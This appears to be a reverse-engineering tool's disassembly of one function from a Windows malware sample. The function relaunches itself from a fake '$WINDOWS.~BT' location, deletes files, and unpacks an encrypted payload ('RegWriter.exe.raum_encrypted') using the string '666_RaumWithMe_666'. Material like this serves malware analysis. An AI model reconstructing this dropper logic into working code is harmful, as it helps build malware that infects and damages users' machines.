Function at 0x405a40
Capabilities:
Delete file
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x698
mov eax, dword [0x42c6dc]
xor eax, esp
mov dword [esp + 0x694], eax
push esi
push edi
push 0x103
lea eax, [esp + 0x48d]
push 0
push eax
mov byte [esp + 0x494], 0
call fcn.0040ddf0
add esp, 0xc
lea eax, [esp + 0x171]
push 0x103
push 0
push eax
mov byte [esp + 0x17c], 0
call fcn.0040ddf0
add esp, 0xc
lea eax, [esp + 0x69]
push 0x103
push 0
push eax
mov byte [esp + 0x74], 0
call fcn.0040ddf0
add esp, 0xc
lea eax, [esp + 0x381]
push 0x103
push 0
push eax
mov byte [esp + 0x38c], 0
call fcn.0040ddf0
add esp, 0xc
lea eax, [esp + 0x279]
push 0x103
push 0
push eax
mov byte [esp + 0x284], 0
call fcn.0040ddf0
mov ecx, 0xb
mov esi, str.X:551b45c5a2e3acc57690b0469d26f1a3intel.exe
lea edi, [esp + 0x59c]
rep movsd dword es:[edi], dword [esi]
add esp, 0xc
lea eax, [esp + 0x5be]
push 0xd6
push 0
push eax
movsw word es:[edi], word [esi]
call fcn.0040ddf0
add esp, 0xc
lea eax, [esp + 0x170]
push str.v:_WINDOWS.BT
push 0x104
push eax
call fcn.004090be
add esp, 0xc
lea eax, [esp + 0x170]
push 0x427f14
push 0x104
push eax
call fcn.00409113
add esp, 0xc
lea eax, [esp + 0x170]
push str.WMIC.exe
push 0x104
push eax
call fcn.00409113
add esp, 0xc
lea eax, [esp + 0x488]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [esp + 0x170]
lea eax, [esp + 0x488]
mov edi, edi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x405bb0
test dl, dl
je 0x405bac
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x405bb0
add eax, 2
add ecx, 2
test dl, dl
jne 0x405b90
xor eax, eax
jmp 0x405bb5
sbb eax, eax
or eax, 1
mov edi, dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x405c21
lea edx, [esp + 0x170]
lea ecx, [esp + 0x488]
call fcn.004075f0
push 0x40
lea eax, [esp + 0x28]
push 0
push eax
mov dword [esp + 0x2c], 0x44
call fcn.0040ddf0
add esp, 0xc
lea eax, [esp + 0x10]
push eax
lea eax, [esp + 0x24]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [esp + 0x190]
push eax
push 0
mov dword [esp + 0x74], 0x80
call edi
test eax, eax
je 0x405c21
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.00407340
mov al, byte [str.v:_WINDOWS.BT]
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov byte [esp + 0x590], al
lea eax, [esp + 0x590]
push eax
call esi
push str.v:_WINDOWS.BT
lea eax, [esp + 0x6c]
push 0x104
push eax
call fcn.004090be
add esp, 0xc
lea eax, [esp + 0x68]
push str._backup.exe
push 0x104
push eax
call fcn.00409113
add esp, 0xc
lea edx, [esp + 0x278]
push 0x104
mov ecx, 5
call fcn.00401350
add esp, 4
test al, al
jne 0x405cde
push 0x104
lea edx, [esp + 0x27c]
mov ecx, 3
call fcn.00401350
add esp, 4
test al, al
jne 0x405cc4
push 0x42f2b8
lea eax, [esp + 0x27c]
push 0x104
push eax
call fcn.004090be
add esp, 0xc
push str.tools_RegWriter.exe.raum_encrypted
lea eax, [esp + 0x27c]
push 0x104
push eax
call fcn.00409113
add esp, 0xc
push 0x104
lea edx, [esp + 0x384]
mov ecx, 6
call fcn.00401350
add esp, 4
test al, al
lea eax, [esp + 0x278]
je 0x405e4e
lea ecx, [esp + 0x380]
lea ecx, [ecx]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x405d30
test dl, dl
je 0x405d2c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x405d30
add eax, 2
add ecx, 2
test dl, dl
jne 0x405d10
xor eax, eax
jmp 0x405d35
sbb eax, eax
or eax, 1
test eax, eax
je 0x405e64
lea eax, [esp + 0x68]
push eax
call esi
lea edx, [esp + 0x68]
lea ecx, [esp + 0x380]
call fcn.004058c0
test al, al
je 0x405d7f
mov edx, str.666_RaumWithMe_666
lea ecx, [esp + 0x68]
call fcn.00404c70
test al, al
je 0x405d7f
push ecx
lea edx, [esp + 0x384]
mov ecx, 5
call fcn.00401620
add esp, 4
push str.__autorun
lea eax, [esp + 0x6c]
push 0x104
push eax
call fcn.00409113
add esp, 0xc
lea eax, [esp + 0x488]
push eax
lea eax, [esp + 0x6c]
push 0x104
push eax
call fcn.00409113
add esp, 0xc
lea eax, [esp + 0x24]
push 0x40
push 0
push eax
mov dword [esp + 0x2c], 0x44
call fcn.0040ddf0
add esp, 0xc
xor eax, eax
mov word [esp + 0x50], ax
lea eax, [esp + 0x10]
push eax
lea eax, [esp + 0x24]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [esp + 0x88]
push eax
push 0
mov dword [esp + 0x74], 0x81
call edi
mov esi, dword [esp + 0xc]
lea eax, [esp + 0xc]
cmp eax, 0x666666
cmovne esi, dword [esp + 0x10]
lea eax, [esp + 0x68]
push str.__autorun
push eax
call fcn.0040a810
add esp, 8
mov byte [eax], 0
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, str.666_RaumWithMe_666
lea ecx, [esp + 0x68]
call fcn.00404c70
mov ecx, dword [esp + 0x69c]
pop edi
pop esi
xor ecx, esp
mov al, 1
call fcn.004090af
mov esp, ebp
pop ebp
ret
push eax
lea eax, [esp + 0x384]
push 0x104
push eax
call fcn.004090be
add esp, 0xc
lea eax, [esp + 0x68]
push 0x42815c
push eax
call fcn.0040b3fa
add esp, 8
test eax, eax
je 0x405d3d
push eax
call fcn.0040a794
add esp, 4
mov edx, str.666_RaumWithMe_666
lea ecx, [esp + 0x68]
call fcn.00404c70
jmp 0x405d7f